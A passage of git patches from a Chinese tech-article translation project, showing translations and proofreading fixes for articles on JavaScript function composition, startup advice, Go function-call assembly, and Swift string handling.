-4. `x` evaluates to `3` and gets passed into `inc()`.
-5. `inc(3)` evaluates to `4`.
-6. `double(4)` evaluates to `8`.
-7. `8` gets returned from the function.
-
-When software is composed, it can be represented by a graph of function compositions. Consider the following:
-
-    append = s1 => s2 => s1 + s2
-    append('Hello, ')('world!')
-
-You could represent it visually:
+你可以想象成这样：
 
 <img class="progressiveMedia-noscript js-progressiveMedia-inner" src="https://cdn-images-1.medium.com/max/800/1*LSXnRbKzQ4yhq1fjZjvq6Q.png">
 
-Lambda calculus was hugely influential on software design, and prior to about 1980, many very influential icons of computer science were building software using function composition. Lisp was created in 1958, and was heavily influenced by lambda calculus. Today, Lisp is the second-oldest language that’s still in popular use.
+lambda 表达式对软件设计产生了很大的影响，在 1980 年之前，计算机科学领域很多有影响的东西使用函数来构造软件。Lisp 在 1958 年被创作出来，很大程度上受到了 lambda 表达式的影响。如今，Lisp 是广泛使用的第二老的语言了。
 
-I was introduced to it through AutoLISP: the scripting language used in the most popular Computer Aided Design (CAD) software: AutoCAD. AutoCAD is so popular, virtually every other CAD application supports AutoLISP so that they can be compatible. Lisp is also a popular teaching language in computer science curriculum for three reasons:
+我通过 AutoLISP：一个作为脚本语言被用于最流行的计算机辅助设计（CAD）软件：AutoCAD，接触到它。AutoCAD 很流行，实际上所有其他的 CAD 软件都兼容支持 AutoLISP。Lisp 因为以下三点原因被广泛作为计算机科学的课程：
 
-1. Its simplicity makes it easy to learn the basic syntax and semantics of Lisp in about a day.
-2. Lisp is all about function composition, and function composition is an elegant way to structure applications.
-3. The best computer science text book I know of uses Lisp: [Structure and Interpretation of Computer Programs](https://www.amazon.com/Structure-Interpretation-Computer-Programs-Engineering/dp/0262510871/ref=as_li_ss_tl?ie=UTF8&amp;linkCode=ll1&amp;tag=eejs-20&amp;linkId=4896ed63eee8657b6379c2acd99dd3f3).
+1. 可以很容易的在一天左右学习 Lisp 基础的词法和语法。
+2. Lisp 全是由函数组成，函数组合是构造应用非常优雅的方式。
+3. 我知道的使用 Lisp 的最棒的计算机科学书籍：[计算机程序的结构与解释](https://www.amazon.com/Structure-Interpretation-Computer-Programs-Engineering/dp/0262510871/ref=as_li_ss_tl?ie=UTF8&amp;linkCode=ll1&amp;tag=eejs-20&amp;linkId=4896ed63eee8657b6379c2acd99dd3f3)。
 
-### The Fall of Composable Software
+### 组合型软件的衰落
 
-Somewhere between 1970 and 1980, the way that software was created drifted away from simple compositions, and became a list of linear instructions for the computer to follow. Then came object-oriented programming — a great idea about component encapsulation and message passing that got distorted by popular languages into a horrible idea about inheritance hierarchies and **is-a** relationships for feature reuse.
+在 1970 到 1980 中间的某段时间，软件的构造开始偏离简单的组合，成为一串线性的让计算机执行的指令。然后面向对象编程 — 一个伟大的关于组件的封装和信息传递的思想被流行的编程语言扭曲成为了特性的重用而采取的糟糕的继承层次和 *is-a* 关系。
 
-Functional programming was relegated to the sidelines and academia: The blissful obsession of the geekiest of programming geeks, professors in their ivy league towers, and some lucky students who escaped the Java force-feeding obsession of the 1990’s — 2010's.
+函数式编程语言退居二线：只有编程极客的痴迷、常春藤盟校的教授和一些幸运的学生可以在 1990 — 2010 年间逃离 Java 的强迫性学习。
 
-For most of us, creating software was a bit of a nightmare for 30 years. Dark times.
+对于我们的大多数人来说，已经经历了大约 30 年的软件编写噩梦和黑暗时期。
 
-### The Rise of Composable Software
+### 组合型软件的兴起
 
-Around 2010, something great began to happen: JavaScript exploded. Before about 2006, JavaScript was widely considered a toy language used to make cute animations happen in web browsers, but it had some powerful features hidden in it. Namely, the most important features of lambda calculus. People started whispering in the shadows about this cool new thing called “functional programming”.
+在 2010 年左右，一些有趣的事情发生了：JavaScript 的崛起。在 2006 年左右，JavaScript 被广泛的看作玩具语言和被用制作浏览器中好玩的动画，但是它有一些隐藏饿及其强大的属性。即 lambda 表达式中最重要的特性。人们开始暗中讨论一个叫做 “函数式编程的” 酷东西。
 
 [![](https://i.embed.ly/1/display/resize?url=https%3A%2F%2Fpbs.twimg.com%2Fprofile_images%2F3722564505%2Fb8030b8f3990875e8f38ed877fdf8d25_bigger.png&key=4fce0568f2ce49e8b54624ef71a8a5bd&width=40)](https://video.twimg.com/tweet_video/CmectVVVUAAsvpo.mp4)
 
 
-I keep telling you [#JavaScript](https://twitter.com/hashtag/JavaScript?src=hash) is not a toy language. Now I have to show you. [#StarWars](https://twitter.com/hashtag/StarWars?src=hash) [@BrendanEich](https://twitter.com/BrendanEich)
+我一直在告诉大家 [JavaScript] 并不是一门玩具语言。现在我需要展示它。[#StarWars](https://twitter.com/hashtag/StarWars?src=hash) [@BrendanEich](https://twitter.com/BrendanEich)
 
-By 2015, the idea of building software with function composition was popular again. To make it simpler, the JavaScript specification got its first major upgrade of the decade and added arrow functions, which made it easier to create and read functions, currying, and lambda expressions.
+在 2015 年，使用函数的组合来编写软件又开始流行起来。为了更简单化，JavaScript 规范获得的数十年来第一次主要的更新并且添加了箭头函数，为了更简单的编写和读取函数、柯里化，和 lambda 语句。
 
-Arrow functions were like rocket fuel for the functional programming explosion in JavaScript. Today it’s rare to see a large application which doesn’t use a lot of functional programming techniques.
+箭头函数像是 JavaScript 函数式编程飞升的燃料。现在很少看见不使用很多函数式编程技术的大型应用了。
 
-Composition is a simple, elegant, and expressive way to clearly model the behavior of software. The process of composing small, deterministic functions to create larger software components and functionality produces software that is easier to organize, understand, debug, extend, test, and maintain.
+组合型可以简单、优雅的表达软件的模型和行为。通过把小的、确定的函数组成稍大的组件并构成软件的过程，可以更为简单的组织、理解、调试、扩展、测试和掌控。
 
-As you read the following text, please experiment with the examples. Remember what it was like as a child to pick things apart, explore, and play while you learn. Rediscover the childhood joy of discovery. Let’s make some magic.
+你在阅读下一部分时，可以使用实例实验，记住要把你自己当孩子一样把其他的思想扔在一边在学习中去探索和玩耍。重新发现孩童时发现新事物的欣喜。让我们来做一些魔术吧。
 
-[Continued in part 2: “Why Learn Functional Programming in JavaScript?”](https://medium.com/javascript-scene/why-learn-functional-programming-in-javascript-composing-software-ea13afc7a257#.i6vf0q8uy)
+[接下来的第二部分：“为什么要用 JavaScript 学习函数式编程？”]
 
-### Next Steps
+### 下一步
 
-Want to learn more about functional programming in JavaScript?
+想更多的学习 JavaScript 的函数式编程？
 
-[Learn JavaScript with Eric Elliott](http://ericelliottjs.com/product/lifetime-access-pass/). If you’re not a member, you’re missing out!
+[Learn JavaScript with Eric Elliott](http://ericelliottjs.com/product/lifetime-access-pass/)，什么，你还不是其中之一，out 了！
 
 [![](https://cdn-images-1.medium.com/freeze/max/30/1*3njisYUeHOdyLCGZ8czt_w.jpeg?q=20)![](https://cdn-images-1.medium.com/max/800/1*3njisYUeHOdyLCGZ8czt_w.jpeg)](https://ericelliottjs.com/product/lifetime-access-pass/)
 
 
-***Eric Elliott*** is the author of [*“Programming JavaScript Applications”*](http://pjabook.com) (O’Reilly), and [*“Learn JavaScript with Eric Elliott”*](http://ericelliottjs.com/product/lifetime-access-pass/). He has contributed to software experiences for **Adobe Systems, Zumba Fitness, he Wall Street Journal, ESPN, BBC, and top recording artists including Usher, Frank Ocean, Metallica**, and many more.
+*Eric Elliott* 是 [*“Programming JavaScript Applications”*](http://pjabook.com) (O’Reilly) 和 “Learn JavaScript with Eric Elliott” 的作者。他曾效力于 *Adobe Systems, Zumba Fitness, he Wall Street Journal, ESPN, BBC, and top recording artists including Usher, Frank Ocean, Metallica* 和其他一些公司。
 
-*He spends most of his time in the San Francisco Bay Area with the most beautiful woman in the world.*
+*他和她的老婆（很漂亮）大部分时间都在旧金山湾区里。*
 
 
 ---

From 4479517a81c541ddd708327ce6e127ca1190575c Mon Sep 17 00:00:00 2001
From: Wenlin Ou <wou6@gatech.edu>
Date: Sun, 9 Apr 2017 00:45:08 -0400
Subject: [PATCH 084/638] fix errors according proofreader

---
 ...ng-will-change-until-you-start-building.md | 20 +++++++++----------
 1 file changed, 10 insertions(+), 10 deletions(-)

diff --git a/TODO/nothing-will-change-until-you-start-building.md b/TODO/nothing-will-change-until-you-start-building.md
index 111ebd58e1e..034e8ae1484 100644
--- a/TODO/nothing-will-change-until-you-start-building.md
+++ b/TODO/nothing-will-change-until-you-start-building.md
@@ -10,11 +10,11 @@
 
 # 真正行动之前 你将一无所成
 
-就在上周我打了一辆 Lyft 出租车，司机跟我聊了很多关于她的天花乱坠的想法。她的想法里，有一个关于儿童书籍，有帮助人们停车的APP、有一个更高效的打包礼物的方法，但问题是她总是犹豫不决：她很有想法但却不知道从何开始。
+就在上周我打了一辆 Lyft 出租车，司机跟我聊了很多关于她的天花乱坠的想法。她的想法里，她有写一本儿童书籍的想法，有开发一个帮助人们找到停车位置的软件的想法，有寻找到一种更高效打包礼物的想法，但问题是她总是犹豫不决：她有很多想法但却不知道从何开始。
 
-接下来这段话是我对她说的：**开始一些实际行动吧。选一个项目然后尽可能的去完成它。** 如果你想写一本书，那么从每天写一页开始；如果你想做一个APP，那就从草稿开始。任何人都可以做到这些。
+接下来这段话是我对她说的：**开始一些实际行动吧。选一个项目然后尽可能的去完成它。** 如果你想写一本书，那么从每天写一页开始；如果你想做一个APP，那就从构建草图开始。任何人都可以做到这些。
 
-这些建议对所有创新者都适用。一旦你开始着手在你的项目上，你将会不由自主的继续做下去。创新将会成为你人格的一部分 —— 即使你的项目失败了。
+这个建议适用于所有的创作者。一旦你开始着手在你的项目上，你将会不由自主的继续做下去。创新将会成为你人格的一部分 —— 即使你的项目失败了。
 
 你今天迈出的一小步将会是你人生的一大步。看看那些伟大的产品缔造者吧，比如 [Drew Wilson](https://twitter.com/drewwilson), [Pieter Levels](https://twitter.com/levelsio?), 和 [Sebastian Dobrincu](https://twitter.com/Sebyddd)。**他们不仅仅是等待合适的时机。** 他们每周都在更新他们的产品。 
 
@@ -29,11 +29,11 @@
 
 ### 1. 确定目标
 
-在开始的时候，确定你的项目要实现的主要目标。如果你想打破你以往的设计风格，那就把心思花在设计上；如果你测试一个新的前端框架，那就把钻研代码；如果你想获得上百个用户（”大量用户“ 会不会好点），就把精力用在销售上。
+在开始的时候，确定你的项目要实现的主要目标。如果你想打破你以往的设计风格，那就把心思花在设计上；如果你测试一个新的前端框架，那就钻研代码；如果你想获得大量用户，就把精力用在销售上。
 
-**尽早确定目标可以帮助你摆脱诱惑，防止你到最后忘记初心。** 也许你的项目并不能成为下一个 Snapchat, 但是在通往你目标的道路上，你会更加的熟练运用各种做产品的工具。渐渐地，你会拥有越来越强大的设计、代码、销售等能力。
+**尽早确定目标可以帮助你摆脱诱惑，防止你到最后忘记初心。** 也许你的项目并不能成为下一个 Snapchat, 但是在通往你目标的道路上，你会更加的熟练运用各种做产品的工具。渐渐地，你会拥有越来越强大的设计、编码、销售等能力。
 
-### 2. 执行计划
+### 2. 保持进展
 
 有一些产品没能完成的原因是作者在半路失去了动力。 **设定一些小目标（比如先赚一个亿）；完成这些目标会让你获得前进的动力。** 小的成就累计起来也是很了不起的。
 
@@ -49,9 +49,9 @@
 
 比如，我做了 [YC Careers](http://jonathanzwhite.github.io/yc-careers/) 和 [AtomSpace](https://atomspace.co/) 来解决一个产品设计师朋友找工作和面试的烦恼。一夜之间，YC Careers 占领了 [ProductHunt](https://www.producthunt.com/posts/yc-careers) 的榜首，AtomSpace 在上线6个小时之内就拿到了来自陌生人的一百美元订单。
 
-**你解决越大的痛点，就越容易找到用户。**
+**你解决的痛点越大，就越容易找到用户。**
 
-同时，尝试从过个角度分析问题和解决方案。有些成功的点子看起来并没有解决任何问题，但其实不然。比如，Instagram 看起来没有直接解决任何问题。其实不是。Instagram 满足了朋友之间实时社交的需求。如果这个需求不能得到满足，那才是个问题。
+同时，尝试从各个不同的角度寻找解决方案。有些成功的点子看起来并没有解决任何问题，但其实不然。比如，Instagram 看起来没有直接解决任何问题。其实不是。Instagram 满足了朋友之间实时社交的需求。如果这个需求不能得到满足，那才是个问题。
 
 想要了解更多关于这方面内容的话，[John Carmack on Idea Generation](https://amasad.me/carmack) 和 [How to Get Startup Ideas](http://paulgraham.com/startupideas.html) 这两篇文章是非常好的起点。
 
@@ -67,11 +67,11 @@
 
 ### 5. 寻求帮助
 
-当你在你的项目上埋头苦干的时候，记得寻求别人的帮助。 **你会很惊喜的发现竟然有这么多人原意去帮助一个陌生人（对，就是你）。**
+当你在你的项目上埋头苦干的时候，记得寻求别人的帮助。 **你会很惊喜的发现竟然有这么多人愿意去帮助一个陌生人（对，就是你）。**
 
 我获得的最好的一部分建议就是来自于给别人发邮件或是推特（微博）私信。
 
-在寻求帮助的时候，请提一些精确、有价值的问题。如果你需要关于设计的一些反馈，就把草稿发给别人；如果你需要营销方面的建议，就详细的列出你尝试过的方法。内容才是关键。如果别人没有回复你，请礼貌的再次询问 —— 有时候别人只是没注意到你的消息而已。
+在寻求帮助的时候，请准备好的你的问题，并尽可能具体。如果你需要关于设计的一些反馈，就把草稿发给别人；如果你需要营销方面的建议，就详细的列出你尝试过的方法。内容才是关键。如果别人没有回复你，请礼貌的再次询问 —— 有时候别人只是没注意到你的消息而已。
 
 ---
 

From b29686077845eda6b54570ae44c68eb629006026 Mon Sep 17 00:00:00 2001
From: xiaoyusilen <kleineweltzhang@hotmail.com>
Date: Sun, 9 Apr 2017 13:03:50 +0800
Subject: [PATCH 085/638] Modify translation

---
 TODO/anatomy-of-a-function-call-in-go.md | 22 +++++++++++-----------
 TODO/go-function-calls-redux.md          |  6 +++---
 2 files changed, 14 insertions(+), 14 deletions(-)

diff --git a/TODO/anatomy-of-a-function-call-in-go.md b/TODO/anatomy-of-a-function-call-in-go.md
index f6141663c05..baca272576d 100644
--- a/TODO/anatomy-of-a-function-call-in-go.md
+++ b/TODO/anatomy-of-a-function-call-in-go.md
@@ -20,7 +20,7 @@ func add(a, b int) int {
 }
 ```
 
-我们编译的时候需要关闭优化这样方便跟踪每个部分。我们用 `go build -gcflags 'N -l'` 这个命令来完成上述操作。然后我们可以用 `go tool objdump -s main.add func` 输出我们函数的具体细节（这里的 func 是我们的包名，也就是我们刚刚用 go build 编译出的可执行文件）。
+我们编译的时候需要关闭优化，这样方便理解每个部分。我们用 `go build -gcflags 'N -l'` 这个命令来完成上述操作。然后我们可以用 `go tool objdump -s main.add func` 输出我们函数的具体细节（这里的 func 是我们的包名，也就是我们刚刚用 go build 编译出的可执行文件）。
 
 如果你以前从来没有看过汇编语言，那么恭喜啦，你今天看到的内容对你来说是全新的。我将在 Mac 上完成这些事情，所以配置是 Intel 64位。
 
@@ -36,18 +36,18 @@ func add(a, b int) int {
 我们看到了什么？每一行如下所示被分为了4部分：
 
 - 源文件的名称和行号（main.go:15）。这行的源代码会被转换为标有代码行号的说明。Go 的一行可能被转换成多行程序集。
-- 对象的偏移量（例如 0x22C0）。
+- 目标文件中的偏移量（例如 0x22C0）。
 - 机器码（例如 48c744241800000000）。这是 CPU 实际执行的二进制机器码。我们不需要看这个，几乎没有人看这玩意。
 - 机器码的汇编表示形式，这也是我们想要理解的部分。
 
 让我们将注意力集中在最后一部分，汇编语言。
 
-- MOVQ，ADDQ 和 RET 是说明。它们告诉 CPU 需要执行的操作。后面的参数告诉 CPU 对什么执行该操作。
+- MOVQ，ADDQ 和 RET 是指令。它们告诉 CPU 需要执行的操作。后面的参数告诉 CPU 对什么执行该操作。
 - SP，AX 和 CX 是 CPU 寄存器。寄存器是 CPU 用于存储值的地方，CPU 有多个寄存器可以使用。
 - SP 是一个专用寄存器，用于存储当前堆栈指针。堆栈是记录局部变量，参数和函数调用的寄存器。每个 goroutine 都有一个堆栈。当一个函数调用另一个函数，然后另一个函数再调用其他函数，每个函数在堆栈上获得自己的存储区域。在函数调用期间创建存储区域，将 SP 的大小中减去所需的存储大小。
-- 0x8（SP）是指超过 SP 指向的内存位置的 8 个字节的内存位置。
+- 0x8（SP）是指超过 SP 指向的存储单元的 8 个字节的存储单元。
 
-因此，我们的工作的内容包含存储器位置，CPU 寄存器，用于在存储器和寄存器之间移动值的指令以及寄存器上的操作。 这几乎就是一个 CPU 所完成的事情了。
+因此，我们的工作的内容包含存储单元，CPU 寄存器，用于在存储器和寄存器之间移动值的指令以及寄存器上的操作。 这几乎就是一个 CPU 所完成的事情了。
 
 现在让我们从第一条指令开始看每一条内容。别忘了我们需要从内存中加载两个参数 `a` 和 `b`，把它们相加，然后返回至调用函数。
 
@@ -67,9 +67,9 @@ func add(a, b int) int {
 所以我们从中明白了什么：
 
 - 好，看起来参数都存在堆栈中，第一个参数存储在 SP+0x8 中，另一个在更高编号的地址中。
-- 并且看上去返回的结果存储在参数后边，一个更高编号的已知地址中。
+- 并且看上去返回的结果存储在参数后边，一个更高编号的地址中。
 
-现在让我们看另一个函数。这个函数有一个全局变量，不过我们依然会让它看起来很简单。
+现在让我们看另一个函数。这个函数有一个局部变量，不过我们依然会让它看起来很简单。
 
 ```
 func add3(a int) int {
@@ -108,7 +108,7 @@ func add3(a int) int {
 
 这一行代码似乎没有做什么。所以这可能是一种声明函数的方法。让我们分析一下。
 
-- `SUBQ $0x10, SP` 从 SP 减去 0x10=16。这个操作为我们分类了 16 字节的堆栈空间。
+- `SUBQ $0x10, SP` 从 SP 减去 0x10=16。这个操作为我们释放了 16 字节的堆栈空间
 - `MOVQ BP, 0x8(SP)` 将寄存器 BP 中的值存储至 SP+8 中，然后 `LEAQ 0x8(SP), BP` 将地址 SP+8 中的内容加载到 BP 中。现在我们已经有空间可以存储 BP 中之前所存的内容，然后将 BP 中的内容存储至刚刚分配的存储空间中，这有助于建立堆栈区域链（或者堆栈框架）。这有点神秘，不过在这篇文章中我们恐怕不会解决这个问题。
 - 在这一部分的最后是 `MOVQ $ 0x0, 0x20 (SP)`，它和我们刚刚分析的最后一句类似，就是将返回值初始化为0。
 
@@ -126,7 +126,7 @@ func add3(a int) int {
 
 - 调用函数在堆栈中为返回值和参数分配空间。返回值的存储地址比参数的存储地址高。
 - 如果被调用函数有局部变量，则通过减少堆栈指针 SP 的值为它们分配空间。它也和寄存器 BP 做了一些神秘的事情。
-- 当函数返回任何 SP＆BP 的操作都会相反。
+- 当函数返回任何对 SP 和 BP 的操作都会相反。
 
 让我们看看堆栈在 add3() 方法中如何使用：
 
@@ -145,8 +145,8 @@ SP+0x08: the old value of BP
 SP+0x0: the local variable b
 ```
 
-如果你觉得文章中没有提到 SP+0x10，所以不知道这是干什么用的。我可以告诉你，这是存储返回地址的地方。这是为了让 `RET` 指令知道返回到哪里去。
+如果你觉得文章中没有提到 SP+0x10，所以不*知道*这是干什么用的。我可以告诉你，这是存储返回地址的地方。这是为了让 `RET` 指令知道返回到哪里去。
 
-这篇文章已经足够了。 希望如果以前你不知道这些东西如何工作，但是现在你觉得你已经有了一些了解，或者如果你被汇编吓倒了，那么它可能不那么清晰。 如果你想了解有关汇编的更多信息，请在评论中告诉我，我会考虑在之后的文章中写出来。
+这篇文章已经足够了。 希望如果以前你不知道这些东西如何工作，但是现在你觉得你已经有了一些了解，或者如果你被汇编吓倒了，那么也许它不那么晦涩难懂了。 如果你想了解有关汇编的更多信息，请在评论中告诉我，我会考虑在之后的文章中写出来。
 
 既然你已经看到这儿了，如果喜欢我的这篇文章或者可以从中学到一点什么的话，那么请给我点个赞这样这篇文章就可以被更多人看到了。
\ No newline at end of file
diff --git a/TODO/go-function-calls-redux.md b/TODO/go-function-calls-redux.md
index 2e8b6efa515..0fefbdda247 100644
--- a/TODO/go-function-calls-redux.md
+++ b/TODO/go-function-calls-redux.md
@@ -10,7 +10,7 @@
 
 什么是调用堆栈？它是一个用于保存局部变量和调用参数的内存区域，并且跟踪每个函数应该返回到哪里去。每个 goroutine 都有它自己的堆栈。你甚至可以说每个 goroutine 就是它自己的堆栈。
 
-下面是我用于演示堆栈的代码。就是一系列简单的函数调用，main() 函数调用 [f1(0xdeadbeef)](https://en.wikipedia.org/wiki/Hexspeak)，然后调用 `f2(0xabad1dea)`，再调用 `f3(0xbaddcafe)`。然后 f3() 将其中一个作为它的参数，并且将它存储在名为 `local` 的本地变量中。然后获取 `local` 的内存地址并且从那里开始输出。因为 `loacl` 在栈内，所以输出的就是栈。
+下面是我用于演示堆栈的代码。就是一系列简单的函数调用，main() 函数调用 [f1(0xdeadbeef)](https://en.wikipedia.org/wiki/Hexspeak)，然后调用 `f2(0xabad1dea)`，再调用 `f3(0xbaddcafe)`。然后 `f3()` 将其中一个作为它的参数，并且将它存储在名为 `local` 的本地变量中。然后获取 `local` 的内存地址并且从那里开始输出。因为 `local` 在栈内，所以输出的就是栈。
 
 ```go
 package main
@@ -59,7 +59,7 @@ func showFunc(at uintptr) {
 }
 ```
 
-下面是上述代码的输出结果。它是从 `local` 的地址开始的内存转储，是以十六进制形式展示的8字节列表。左边是每个整数的存储地址，右边是地址内存储的整数。
+下面是上述代码的输出结果。它是从 `local` 的地址开始的内存转储，是以十六进制形式展示的 8 字节列表。左边是每个整数的存储地址，右边是地址内存储的整数。
 
 我们知道 `local` 应该等于 0xBADDCAFE + 1，或者 0xBADDCAFF，这确实是我们转储开始时看到的。
 
@@ -118,7 +118,7 @@ C42003FFC0: C4200001A0
 通过这些我们可以看出：
 
 - 首先，堆栈从高地址开始，堆栈地址随着函数调用变小。
-- 当进行函数调用时，调用者将参数放入栈内，然后返回地址（调用函数中的下一条指令的地址），接着指向堆栈中较高的指针。
+- 当进行函数调用时，调用者将参数放入栈内，然后是返回地址（调用函数中的下一条指令的地址），接着是指向堆栈中较高的指针。
 - 当调用返回时，这个指针用于在堆栈中查找先前调用的函数。
 - 局部变量存储在堆栈指针之后。
 

From 2668d72d4ad6e182aebb2ba64c3d21c11f69a186 Mon Sep 17 00:00:00 2001
From: xiaoyusilen <kleineweltzhang@hotmail.com>
Date: Sun, 9 Apr 2017 13:07:56 +0800
Subject: [PATCH 086/638] add msg

---
 TODO/anatomy-of-a-function-call-in-go.md | 2 +-
 TODO/go-function-calls-redux.md          | 2 +-
 2 files changed, 2 insertions(+), 2 deletions(-)

diff --git a/TODO/anatomy-of-a-function-call-in-go.md b/TODO/anatomy-of-a-function-call-in-go.md
index baca272576d..4fa70afdb03 100644
--- a/TODO/anatomy-of-a-function-call-in-go.md
+++ b/TODO/anatomy-of-a-function-call-in-go.md
@@ -2,7 +2,7 @@
 > * 原文作者：[Phil Pearl](https://syslog.ravelin.com/@philpearl?source=post_header_lockup)
 > * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)
 > * 译者：[xiaoyusilen](http://xiaoyu.world)
-> * 校对者：
+> * 校对者：[1992chenlu](https://github.com/1992chenlu)
 
 # 解析 Go 中的函数调用 #
 
diff --git a/TODO/go-function-calls-redux.md b/TODO/go-function-calls-redux.md
index 0fefbdda247..b8717411ff1 100644
--- a/TODO/go-function-calls-redux.md
+++ b/TODO/go-function-calls-redux.md
@@ -2,7 +2,7 @@
 > * 原文作者：[Phil Pearl](https://hackernoon.com/@philpearl?source=post_header_lockup)
 > * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)
 > * 译者：[xiaoyusilen](http://xiaoyu.world)
-> * 校对者：
+> * 校对者：[1992chenlu](https://github.com/1992chenlu)
 
 # Go 函数调用 Redux #
 

From 297bd3774a9a46e74b85a6806a36117486b9bf37 Mon Sep 17 00:00:00 2001
From: Tuccuay <i@tuccuay.com>
Date: Sun, 9 Apr 2017 01:56:00 +0800
Subject: [PATCH 087/638] translated mastering swift essential details about
 string

---
 ...g-swift-essential-details-about-strings.md | 548 +++++++++---------
 1 file changed, 277 insertions(+), 271 deletions(-)

diff --git a/TODO/mastering-swift-essential-details-about-strings.md b/TODO/mastering-swift-essential-details-about-strings.md
index b223e0726ef..322df4619dc 100644
--- a/TODO/mastering-swift-essential-details-about-strings.md
+++ b/TODO/mastering-swift-essential-details-about-strings.md
@@ -1,270 +1,271 @@
 > * 原文地址：[Mastering Swift: essential details about strings](https://rainsoft.io/mastering-swift-essential-details-about-strings/)
 * 原文作者：[Dmitri Pavlutin](https://rainsoft.io/author/dmitri-pavlutin/)
 * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)
-* 译者：
+* 译者：[Tuccuay](https://www.tuccuay.com)
 * 校对者：
 
 
-# Mastering Swift: essential details about strings #
+# 掌握 Swift 的字符串细节
 
-String type is an important component of any programming language. The most useful information that user reads from the window of an iOS application is pure text.  
+String 类型在任何编程语言中都是一个重要的组成部分。而用户从 iOS 应用的屏幕上能读取到最有效的信息也来自文本。
 
-To reach a higher number of users, the iOS application must be internationalised and support a lot of modern languages. The Unicode standard solves this problem, but creates additional complexity when working with strings.  
+为了触及更多的用户，iOS 应用必须国际化以支持大量现代语言。Unicode 标准解决了这个问题，不过这也给我们使用 string 类型带来了额外的挑战性。
 
-On one hand, the language should provide a good balance between the Unicode complexity and the performance when processing strings. On the other hand, it should provide developer with comfortable structures to handle strings.  
+从一方面来说，编程语言应该在平衡处理字符串时应该在 Unicode 复杂性和性能之间取得平衡。而另一方面，它需要为开发者提供一个舒适的结构来处理字符串。
 
-In my opinion, Swift does a great job on both hands.  
+而在我看来，Swift 在这两方面都做的不错。
 
-Fortunately Swift's string is not a simple sequence of UTF-16 code units, like in JavaScript or Java. 
+幸运的是 Swift 的 string 类型并不是像 JavaScript 或者 Java 那样简单的 UTF-16 序列。
 
-In case of a sequence of UTF-16 code units it's a pain to do Unicode-aware string manipulations: you might break a surrogate pair or combining character sequence.  
+对一个 UTF-16 码单元序列执行 Unicode 感知的字符串操作是很痛苦的：你可能会打破代理对或组合字符序列。
 
-Swift implements a better approach. The string itself is not a collection, instead it provides views over the string content that may be applied according to situation. And one particular view, `String.CharacterView`, is fully Unicode-aware.  
+Swift 对此有着更好的实现方式。字符串本身不再是集合，而是能够根据不同情况为内容提供不同的 view。其中一个特殊的 view： `String.CharacterView` 则是完全支持 Unicode 的。
 
-For `let myStr = "Hello, world"` you can access the following string views:  
+对于 `let myStr = "Hello, world"` 来说，你可以访问到下面这些 view：
 
-- `myStr.characters` is `String.CharacterView`. Valuable to access graphemes, that visually are rendered as a single symbol. The most used view.
-- `myStr.unicodeScalars` is `String.UnicodeScalarView`. Valuable to access the Unicode code point numbers as 21-bit integers
-- `myStr.utf16` is `String.UTF16View`. Useful to access the code unit values encoded in UTF16
-- `myStr.utf8` is `String.UTF8View`. Valuable to access the code unit values encoded in UTF8
+- `myStr.characters` 即 `String.CharacterView`。可以获取字形的值，视觉上呈现为单一的符号。是最常用的试图
+- `myStr.unicodeScalars` 即 `String.UnicodeScalarView`。可以获取 21 整数表示的 Unicode 码位。
+- `myStr.utf16` 即 `String.UTF16View`。用于获取 UTF16 编码的代码单元。
+- `myStr.utf8` 即 `String.UTF8View`。能够获取 UTF8 编码的代码单一。
 
-![CharacterView, UnicodeScalarView, UTF16View, UTF8View of strings in Swift](https://rainsoft.io/content/images/2016/10/Swift-strings--3-.png)
+![Swift 中的 CharacterView, UnicodeScalarView, UTF16View 和 UTF8View](https://rainsoft.io/content/images/2016/10/Swift-strings--3-.png)
 
-Most of the time developer deals with simple string characters, without diving into details like encoding or code units.  
+在大多数时候开发者都在处理简单的字符串字符，而不是深入到编码或者码位这样的细节中。
 
-`CharacterView` works nice for most of the string related tasks: iteration over the characters, counting the number of characters, verify substring existence, access by index, different manipulations and so on. 
+`CharacterView` 能很好的完成大多数任务：迭代字符串、字符计数、验证是否包含字符串、通过索引访问和比较操作等。
 
-Let's see in more details how these tasks are accomplished in Swift.  
+让我们看看如何用 Swift 来完成这些任务。
 
-# 1. Character and CharacterView structures #
+# 1. Character 和 CharterView 的结构
 
-`String.CharacterView` structure is a view over string content that is a collection of `Character`.  
+`String.CharacterView` 的结构是一个字符内容的视图，它是 `Character` 的集合。
 
-To access the view from a string, use `characters` string property:
+要从字符串访问视图，使用字符的 `characters` 属性：
 
 [Try in Swift sandbox](http://swiftlang.ng.bluemix.net/#/repl/57ff7e018ef62b25bcea2ab1)
 
-```
-let message ="Hello, world"
-let characters = message.characters  
-print(type(of: characters))// => "CharacterView"  
+```swift
+let message = "Hello, world"
+let characters = message.characters
+print(type(of: characters))// => "CharacterView"
 ```
 
-`message.characters` returns the `CharacterView` structure.  
+`message.characters` 返回了 `CharacterView` 结构.
 
-The character view is a collection of `Character` structures. For example, let's access the first character in a string view:
+字符视图是 `Character` 结构的集合。例如我们可以这样来访问字符视图里的第一个字符：
 
 [Try in Swift sandbox](http://swiftlang.ng.bluemix.net/#/repl/57ff7e188ef62b25bcea2ab2)
 
-```
-let message = "Hello, world"  
-let firstCharacter = message.characters.first!  
-print(firstCharacter)           // => "H"  
+```swift
+let message = "Hello, world"
+let firstCharacter = message.characters.first!
+print(firstCharacter)           // => "H"
 print(type(of: firstCharacter)) // => "Character"
 
-let capitalHCharacter: Character = "H"  
+let capitalHCharacter: Character = "H"
 print(capitalHCharacter == firstCharacter) // => true
 ```
 
-`message.characters.first` returns an optional that is the first character `"H"`. 
+`message.characters.first`  返回了一个可选类型，内容是它的第一个字符 `"H"`.
 
-The character instance represents a single symbol `H`. 
+这个字符实例代表了单个符号 `H`。
 
-In Unicode terms `H` is *Latin Capital letter H*, `U+0048` code point. 
+在 Unicode 标准中，`H` 代表 *Latin Capital letter H*，码位是 `U+0048`。
 
-Let's go beyond ASCII and see how Swift handles composite symbols. Such characters are rendered as a single visual symbol, but are composed from a sequence of two or more [Unicode scalars](http://unicode.org/glossary/#unicode_scalar_value). Strictly such characters are named **grapheme clusters**.  
+让我们掠过 ASCII 看看 Swift 如何处理更复杂的符号。这些字符被渲染成单个视觉符号，但实际上是由两个或更多个 Unicode 标量](http://unicode.org/glossary/#unicode_scalar_value) 组成。严格来说这些字符被称为 **字形簇**
 
-*Important*: `CharacterView` is a collection of grapheme clusters of the string.  
+*Important*: `CharacterView` is a collection of grapheme clusters of the string.
